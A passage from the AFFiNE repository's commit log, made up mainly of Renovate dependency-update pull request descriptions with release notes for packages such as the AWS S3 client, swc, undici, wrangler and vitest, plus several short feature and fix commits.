| [serde_json](https://redirect.github.com/serde-rs/json) | `1.0.135` -> `1.0.136` | [![age](https://developer.mend.io/api/mc/badges/age/crate/serde_json/1.0.136?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/serde_json/1.0.136?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/serde_json/1.0.135/1.0.136?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/serde_json/1.0.135/1.0.136?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [undici](https://undici.nodejs.org) ([source](https://redirect.github.com/nodejs/undici)) | [`7.2.2` -> `7.2.3`](https://renovatebot.com/diffs/npm/undici/7.2.2/7.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/undici/7.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/undici/7.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/undici/7.2.2/7.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/undici/7.2.2/7.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [wrangler](https://redirect.github.com/cloudflare/workers-sdk) ([source](https://redirect.github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler)) | [`3.102.0` -> `3.103.2`](https://renovatebot.com/diffs/npm/wrangler/3.102.0/3.103.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/wrangler/3.103.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/wrangler/3.103.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/wrangler/3.102.0/3.103.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/wrangler/3.102.0/3.103.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.731.1`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37311-2025-01-18)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.731.0...v3.731.1)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.731.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37310-2025-01-17)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.730.0...v3.731.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.730.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37300-2025-01-16)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.729.0...v3.730.0)

##### Bug Fixes

-   **nested-clients:** create nested clients for internal use ([#&#8203;6791](https://redirect.github.com/aws/aws-sdk-js-v3/issues/6791)) ([5c53685](https://redirect.github.com/aws/aws-sdk-js-v3/commit/5c5368554d13a3b798a72c53e30cd3d897621135))

### [`v3.729.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37290-2025-01-15)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.726.1...v3.729.0)

##### Features

-   **client-s3:** This change enhances integrity protections for new SDK requests to S3. S3 SDKs now support the CRC64NVME checksum algorithm, full object checksums for multipart S3 objects, and new default integrity protections for S3 requests. ([a550721](https://redirect.github.com/aws/aws-sdk-js-v3/commit/a550721e05a76f741c9a702aefd27c32da06aa27))

#### [3.726.1](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.726.0...v3.726.1) (2025-01-10)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>chromaui/addon-visual-tests (@&#8203;chromatic-com/storybook)</summary>

### [`v3.2.4`](https://redirect.github.com/chromaui/addon-visual-tests/compare/v3.2.3...v3.2.4)

[Compare Source](https://redirect.github.com/chromaui/addon-visual-tests/compare/v3.2.3...v3.2.4)

</details>

<details>
<summary>napi-rs/napi-rs (@&#8203;napi-rs/cli)</summary>

### [`v3.0.0-alpha.67`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/%40napi-rs/cli%403.0.0-alpha.67)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.66...@napi-rs/cli@3.0.0-alpha.67)

##### What's Changed

-   chore(deps): update dependency [@&#8203;oxc-node/core](https://redirect.github.com/oxc-node/core) to ^0.0.17 by [@&#8203;renovate](https://redirect.github.com/renovate) in [https://github.com/napi-rs/napi-rs/pull/2427](https://redirect.github.com/napi-rs/napi-rs/pull/2427)
-   chore(deps): update vitest monorepo to v3 (major) by [@&#8203;renovate](https://redirect.github.com/renovate) in [https://github.com/napi-rs/napi-rs/pull/2429](https://redirect.github.com/napi-rs/napi-rs/pull/2429)
-   chore(deps): update dependency vite-plugin-node-polyfills to ^0.23.0 by [@&#8203;renovate](https://redirect.github.com/renovate) in [https://github.com/napi-rs/napi-rs/pull/2431](https://redirect.github.com/napi-rs/napi-rs/pull/2431)
-   fix(cli): s390x cross toolchain path by [@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2432](https://redirect.github.com/napi-rs/napi-rs/pull/2432)

**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/napi-derive@3.0.0-alpha.25...[@&#8203;napi-rs/cli](https://redirect.github.com/napi-rs/cli)[@&#8203;3](https://redirect.github.com/3).0.0-alpha.67

### [`v3.0.0-alpha.66`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.65...@napi-rs/cli@3.0.0-alpha.66)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.65...@napi-rs/cli@3.0.0-alpha.66)

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.8`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#1108---2025-01-19)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.7...v1.10.8)

##### Bug Fixes

-   **(es/decorators)** Fix init order of `2022-03` impl ([#&#8203;9760](https://redirect.github.com/swc-project/swc/issues/9760)) ([751a310](https://redirect.github.com/swc-project/swc/commit/751a310e87cbbb61ebd76671018bf01d07487792))

-   **(es/testing)** Fix sourcemap generation ([#&#8203;9891](https://redirect.github.com/swc-project/swc/issues/9891)) ([008f2de](https://redirect.github.com/swc-project/swc/commit/008f2dee6660529faf4cd498e33a5a3ffd4c6f2f))

-   **(es/ts_strip)** Handle ASI hazard in return statement ([#&#8203;9882](https://redirect.github.com/swc-project/swc/issues/9882)) ([121b5fe](https://redirect.github.com/swc-project/swc/commit/121b5fefbc17932816f69c88edc14f8387c493e9))

-   **(typescript)** Collect usages in extend clauses of classes and interfaces ([#&#8203;9893](https://redirect.github.com/swc-project/swc/issues/9893)) ([ef29ef6](https://redirect.github.com/swc-project/swc/commit/ef29ef6a225927ccdd3d98751f9a2cfef88ca237))

##### Features

-   **(typescript)** Check computed property names of ts signatures ([#&#8203;9867](https://redirect.github.com/swc-project/swc/issues/9867)) ([caed78a](https://redirect.github.com/swc-project/swc/commit/caed78a7105969ac15347e99bc2a1c998fa5f7f7))

##### Performance

-   **(bench)** Run benchmark on a custom runner ([#&#8203;9877](https://redirect.github.com/swc-project/swc/issues/9877)) ([2d6f9a5](https://redirect.github.com/swc-project/swc/commit/2d6f9a5c27803257635b4b008c5d3b0592478e1d))

-   **(es/codegen)** Remove needless allocations ([#&#8203;9890](https://redirect.github.com/swc-project/swc/issues/9890)) ([f230ff2](https://redirect.github.com/swc-project/swc/commit/f230ff2d8454808ffa99c298448eba7522597219))

-   **(es/minifier)** Make the first run of DCE more efficient ([#&#8203;9868](https://redirect.github.com/swc-project/swc/issues/9868)) ([7329824](https://redirect.github.com/swc-project/swc/commit/7329824b825663c6c51c48dd5ace097da87e2c88))

-   **(es/minifier)** Adjust parallel threshold ([#&#8203;9872](https://redirect.github.com/swc-project/swc/issues/9872)) ([d5d856c](https://redirect.github.com/swc-project/swc/commit/d5d856cf3b7c89da4d917cb1acea4fdb3096769b))

-   **(es/minifier)** Box `VarUsageInfo` of `ProgramData` ([#&#8203;9894](https://redirect.github.com/swc-project/swc/issues/9894)) ([fafd754](https://redirect.github.com/swc-project/swc/commit/fafd754f74be0cd9dfc1c0f5a24b1c078023cb64))

-   **(es/renamer)** Use `IndexSet` for rename queue ([#&#8203;9866](https://redirect.github.com/swc-project/swc/issues/9866)) ([f404720](https://redirect.github.com/swc-project/swc/commit/f404720b8fa0166a27f47bf6913307353def7fae))

-   **(es/utils)** Optimize `maybe_par_idx_raw` ([#&#8203;9870](https://redirect.github.com/swc-project/swc/issues/9870)) ([46e3d77](https://redirect.github.com/swc-project/swc/commit/46e3d77396a9211ddd79c7390349053c857a9c76))

-   Enable `concurrent` in codspeed bench ([#&#8203;9862](https://redirect.github.com/swc-project/swc/issues/9862)) ([6c2bb13](https://redirect.github.com/swc-project/swc/commit/6c2bb13f9d9ec522a938d8aba535a8a93758e43d))

##### Refactor

-   **(atoms)** Rename `FastAtom` to `UnsafeAtom` ([#&#8203;9873](https://redirect.github.com/swc-project/swc/issues/9873)) ([3df8b44](https://redirect.github.com/swc-project/swc/commit/3df8b443a129cfcb5ec79f37e2fcf6a2a9468cad))

-   **(es/minifier)** Add a way to profile minifier for real-world inputs ([#&#8203;9881](https://redirect.github.com/swc-project/swc/issues/9881)) ([9657294](https://redirect.github.com/swc-project/swc/commit/9657294ff159e920e829c1a727219427f19df46e))

-   **(es/minifier)** Use `chili` for `minify-all` example ([#&#8203;9885](https://redirect.github.com/swc-project/swc/issues/9885)) ([197f0bc](https://redirect.github.com/swc-project/swc/commit/197f0bc1962875a3528b0b051be0dbea16671bc8))

-   **(es/minifier)** Make `minify-all` profilable ([#&#8203;9888](https://redirect.github.com/swc-project/swc/issues/9888)) ([fbad136](https://redirect.github.com/swc-project/swc/commit/fbad1364984f8b951b884b61fd924b6ea8fafbda))

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.1.7`](https://redirect.github.com/toeverything/design/compare/1.1.6...1.1.7)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.1.6...1.1.7)

</details>

<details>
<summary>cloudflare/wrangler-action (cloudflare/wrangler-action)</summary>

### [`v3.13.1`](https://redirect.github.com/cloudflare/wrangler-action/releases/tag/v3.13.1)

[Compare Source](https://redirect.github.com/cloudflare/wrangler-action/compare/v3.13.0...v3.13.1)

##### Patch Changes

-   [#&#8203;345](https://redirect.github.com/cloudflare/wrangler-action/pull/345) [`e819570`](https://redirect.github.com/cloudflare/wrangler-action/commit/e819570b2d0a69816a1c2e9d2f2954e278748d80) Thanks [@&#8203;Maximo-Guk](https://redirect.github.com/Maximo-Guk)! - fix: Pages GitHub Deployment not triggering

</details>

<details>
<summary>lint-staged/lint-staged (lint-staged)</summary>

### [`v15.4.1`](https://redirect.github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1541)

[Compare Source](https://redirect.github.com/lint-staged/lint-staged/compare/v15.4.0...v15.4.1)

##### Patch Changes

-   [#&#8203;1504](https://redirect.github.com/lint-staged/lint-staged/pull/1504) [`1c7a45e`](https://redirect.github.com/lint-staged/lint-staged/commit/1c7a45ed2c7fee9d5f55337be16a51e4c9b240e1) Thanks [@&#8203;iiroj](https://redirect.github.com/iiroj)! - Default TypeScript config filenames match JS equivalents.

-   [#&#8203;1504](https://redirect.github.com/lint-staged/lint-staged/pull/1504) [`9cc18c9`](https://redirect.github.com/lint-staged/lint-staged/commit/9cc18c9debb185490f9ae4f9c1d21ec8c2587393) Thanks [@&#8203;iiroj](https://redirect.github.com/iiroj)! - Add missing conditional exports syntax for TypeScript types.

### [`v15.4.0`](https://redirect.github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1540)

[Compare Source](https://redirect.github.com/lint-staged/lint-staged/compare/v15.3.0...v15.4.0)

##### Minor Changes

-   [#&#8203;1500](https://redirect.github.com/lint-staged/lint-staged/pull/1500) [`a8ec1dd`](https://redirect.github.com/lint-staged/lint-staged/commit/a8ec1ddb587d2c1c2420dbb4baff8160f0ac46c9) Thanks [@&#8203;iiroj](https://redirect.github.com/iiroj)! - *Lint-staged* now provides TypeScript types for the configuration and main Node.js API. You can use the JSDoc syntax in your JS configuration files:

    ```js
    /**
     * @&#8203;filename: lint-staged.config.js
     * @&#8203;type {import('lint-staged').Configuration}
     */
    export default {
      '*': 'prettier --write',
    }
    ```

    It's also possible to use the `.ts` file extension for the configuration if your Node.js version supports it. The `--experimental-strip-types` flag was introduced in [Node.js v22.6.0](https://redirect.github.com/nodejs/node/releases/tag/v22.6.0) and unflagged in [v23.6.0](https://redirect.github.com/nodejs/node/releases/tag/v23.6.0), enabling Node.js to execute TypeScript files without additional configuration.

    ```shell
    export NODE_OPTIONS="--experimental-strip-types"

    npx lint-staged --config lint-staged.config.ts
    ```

##### Patch Changes

-   [#&#8203;1501](https://redirect.github.com/lint-staged/lint-staged/pull/1501) [`9b79364`](https://redirect.github.com/lint-staged/lint-staged/commit/9b793640e1f87b46e4f40fcfc1ecf9d6f6013ac9) Thanks [@&#8203;iiroj](https://redirect.github.com/iiroj)! - Handle possible failures when logging user shell for debug info.

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.473.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.473.0): New icons 0.473.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.472.0...0.473.0)

#### Modified Icons 🔨

-   `package` ([#&#8203;2706](https://redirect.github.com/lucide-icons/lucide/issues/2706)) by [@&#8203;sezze](https://redirect.github.com/sezze)

### [`v0.472.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.472.0): New icons 0.472.0

#### New icons 🎨

-   `battery-plus` ([#&#8203;2693](https://redirect.github.com/lucide-icons/lucide/issues/2693)) by [@&#8203;Footagesus](https://redirect.github.com/Footagesus)
-   `map-plus` ([#&#8203;2697](https://redirect.github.com/lucide-icons/lucide/issues/2697)) by [@&#8203;Seanw265](https://redirect.github.com/Seanw265)

#### What's Changed

-   lucide-svelte: Make sure license ends up in SvelteKit bundles by [@&#8203;Lettnald](https://redirect.github.com/Lettnald) in [https://github.com/lucide-icons/lucide/pull/2728](https://redirect.github.com/lucide-icons/lucide/pull/2728)
-   lucide-react: Fixes aliases imports.

**Full Changelog**: https://github.com/lucide-icons/lucide/compare/0.471.1...0.472.0

</details>

<details>
<summary>openai/openai-node (openai)</summary>

### [`v4.79.1`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4791-2025-01-17)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.79.0...v4.79.1)

Full Changelog: [v4.79.0...v4.79.1](https://redirect.github.com/openai/openai-node/compare/v4.79.0...v4.79.1)

##### Bug Fixes

-   **realtime:** correct import syntax ([#&#8203;1267](https://redirect.github.com/openai/openai-node/issues/1267)) ([74702a7](https://redirect.github.com/openai/openai-node/commit/74702a739f566810d2b6c4e0832cfa17a1d1e272))

### [`v4.79.0`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4790-2025-01-17)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.78.1...v4.79.0)

Full Changelog: [v4.78.1...v4.79.0](https://redirect.github.com/openai/openai-node/compare/v4.78.1...v4.79.0)

##### Features

-   **client:** add Realtime API support ([#&#8203;1266](https://redirect.github.com/openai/openai-node/issues/1266)) ([7160ebe](https://redirect.github.com/openai/openai-node/commit/7160ebe647769fbf48a600c9961d1a6f86dc9622))

##### Bug Fixes

-   **logs/azure:** redact sensitive header when DEBUG is set ([#&#8203;1218](https://redirect.github.com/openai/openai-node/issues/1218)) ([6a72fd7](https://redirect.github.com/openai/openai-node/commit/6a72fd736733db19504a829bf203b39d5b9e3644))

##### Chores

-   fix streaming ([379c743](https://redirect.github.com/openai/openai-node/commit/379c7435ed5d508458e9cdc22386039b84fcec5e))
-   **internal:** streaming refactors ([#&#8203;1261](https://redirect.github.com/openai/openai-node/issues/1261)) ([dd4af93](https://redirect.github.com/openai/openai-node/commit/dd4af939792583854a313367c5fe2f98eea2f3c8))
-   **types:** add `| undefined` to client options properties ([#&#8203;1264](https://redirect.github.com/openai/openai-node/issues/1264)) ([5e56979](https://redirect.github.com/openai/openai-node/commit/5e569799b9ac8f915b16de90d91d38b568c1edce))
-   **types:** rename vector store chunking strategy ([#&#8203;1263](https://redirect.github.com/openai/openai-node/issues/1263)) ([d31acee](https://redirect.github.com/openai/openai-node/commit/d31acee860c80ba945d4e70b956c7ed75f5f849a))

</details>

<details>
<summary>remix-run/react-router (react-router-dom)</summary>

### [`v6.28.2`](https://redirect.github.com/remix-run/react-router/compare/react-router-dom@6.28.1...react-router-dom@6.28.2)

[Compare Source](https://redirect.github.com/remix-run/react-router/compare/react-router-dom@6.28.1...react-router-dom@6.28.2)

</details>

<details>
<summary>serde-rs/json (serde_json)</summary>

### [`v1.0.136`](https://redirect.github.com/serde-rs/json/releases/tag/v1.0.136)

[Compare Source](https://redirect.github.com/serde-rs/json/compare/v1.0.135...v1.0.136)

-   Optimize serde_json::value::Serializer::serialize_map by using Map::with_capacity ([#&#8203;1230](https://redirect.github.com/serde-rs/json/issues/1230), thanks [@&#8203;goffrie](https://redirect.github.com/goffrie))

</details>

<details>
<summary>nodejs/undici (undici)</summary>

### [`v7.2.3`](https://redirect.github.com/nodejs/undici/releases/tag/v7.2.3)

[Compare Source](https://redirect.github.com/nodejs/undici/compare/v7.2.2...v7.2.3)

### ⚠️ Security Release ⚠️

Fixes CVE CVE-2025-22150 https://github.com/nodejs/undici/security/advisories/GHSA-c76h-2ccp-4975 (embargoed until 22-01-2025).

#### What's Changed

-   Fix typo in update cache tests action by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/4008](https://redirect.github.com/nodejs/undici/pull/4008)

**Full Changelog**: https://github.com/nodejs/undici/compare/v7.2.2...v7.2.3

</details>

<details>
<summary>cloudflare/workers-sdk (wrangler)</summary>

### [`v3.103.2`](https://redirect.github.com/cloudflare/workers-sdk/blob/HEAD/packages/wrangler/CHANGELOG.md#31032)

[Compare Source](https://redirect.github.com/cloudflare/workers-sdk/compare/wrangler@3.103.1...wrangler@3.103.2)

##### Patch Changes

-   [#&#8203;7804](https://redirect.github.com/cloudflare/workers-sdk/pull/7804) [`16a9460`](https://redirect.github.com/cloudflare/workers-sdk/commit/16a9460ea6c7daaadcdf2f2e921c66521549bc58) Thanks [@&#8203;vicb](https://redirect.github.com/vicb)! - fix(wrangler): use require.resolve to resolve unenv path

### [`v3.103.1`](https://redirect.github.com/cloudflare/workers-sdk/blob/HEAD/packages/wrangler/CHANGELOG.md#31031)

[Compare Source](https://redirect.github.com/cloudflare/workers-sdk/compare/wrangler@3.103.0...wrangler@3.103.1)

##### Patch Changes

-   [#&#8203;7798](https://redirect.github.com/cloudflare/workers-sdk/pull/7798) [`a1ff045`](https://redirect.github.com/cloudflare/workers-sdk/commit/a1ff045cfc89f216e19c94e7c4b5d190e27ef5bf) Thanks [@&#8203;CarmenPopoviciu](https://redirect.github.com/CarmenPopoviciu)! - Reverts [#&#8203;7720](https://redirect.github.com/cloudflare/workers-sdk/issues/7720) as it introduced breakage in some of the C3 templates (eg. Nuxt)

### [`v3.103.0`](https://redirect.github.com/cloudflare/workers-sdk/blob/HEAD/packages/wrangler/CHANGELOG.md#31030)

[Compare Source](https://redirect.github.com/cloudflare/workers-sdk/compare/wrangler@3.102.0...wrangler@3.103.0)

##### Minor Changes

-   [#&#8203;5086](https://redirect.github.com/cloudflare/workers-sdk/pull/5086) [`8faf2c0`](https://redirect.github.com/cloudflare/workers-sdk/commit/8faf2c07415030a3c8d9e5fc0e122a59141b3786) Thanks [@&#8203;dario-piotrowicz](https://redirect.github.com/dario-piotrowicz)! - add `--strict-vars` option to `wrangler types`

    add a new `--strict-vars` option to `wrangler types` that developers can (by setting the
    flag to `false`) use to disable the default strict/literal types generation for their variables

    opting out of strict variables can be useful when developers change often their `vars` values,
    even more so when multiple environments are involved

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-19 15:48:05 +00:00
CatsJuice 93106dae3b feat(core): track template doc events (#9775)
close AF-2076
2025-01-19 13:13:31 +00:00
pengx17 7713920b71 fix(core): move openinapp guard to workspace scope (#9751) 2025-01-19 10:00:04 +00:00
L-Sun 6ba802fb17 feat(editor): append note to page button (#9762)
Close [BS-2310](https://linear.app/affine-design/issue/BS-2310/note-display-in-page-%E7%9A%84%E8%A1%8C%E4%B8%BA), [BS-2312](https://linear.app/affine-design/issue/BS-2312/edgeless-note-%E7%9A%84-element-toolbar-%E6%B7%BB%E5%8A%A0display-in-page%E6%8C%89%E9%92%AE) and [BS-2313](https://linear.app/affine-design/issue/BS-2313/添加display-in-page的toast提示,以及打开toc的按钮)
2025-01-19 08:35:02 +00:00
CatsJuice 9d61b41c05 feat(core): add template mark on detail page header (#9764)
close AF-2136
2025-01-18 17:02:25 +00:00
CatsJuice f8abe997f5 fix(core): open template doc on sidebar template entrance (#9766)
close AF-2135, AF-2136, AF-2138, AF-2133
2025-01-18 16:44:05 +00:00
renovate 9c3365aaca chore: bump up vitest monorepo to v3 (major) (#9739)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fcoverage-istanbul/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fcoverage-istanbul/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fcoverage-istanbul/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fcoverage-istanbul/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/@vitest%2fui/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fui/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fui/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fui/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fui/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`^2.1.8` -> `^3.0.0`](https://renovatebot.com/diffs/npm/vitest/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/vitest/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.2`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.2)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.1...v3.0.2)

#####    🐞 Bug Fixes

-   Don't await an empty timeout after every test  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7281](https://redirect.github.com/vitest-dev/vitest/issues/7281) [<samp>(ef1aa)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ef1aa893)
-   **expect**: Fix `expect().resolves/rejects` chain typings  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7273](https://redirect.github.com/vitest-dev/vitest/issues/7273) [<samp>(fa415)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa415059)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.1...v3.0.2)

### [`v3.0.1`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.1)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.0...v3.0.1)

#####    🐞 Bug Fixes

-   Revert "fix: re-apply default conditions if using vite 6 or later ([https://github.com/vitest-dev/vitest/issues/7071](https://redirect.github.com/vitest-dev/vitest/issues/7071))"  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7071](https://redirect.github.com/vitest-dev/vitest/issues/7071) and [https://github.com/vitest-dev/vitest/issues/7271](https://redirect.github.com/vitest-dev/vitest/issues/7271) [<samp>(755ec)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/755ecdfa)
-   **deps**: Update all non-major dependencies  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7147](https://redirect.github.com/vitest-dev/vitest/issues/7147) [<samp>(537fa)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/537fa5ed)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.0...v3.0.1)

### [`v3.0.0`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.0)

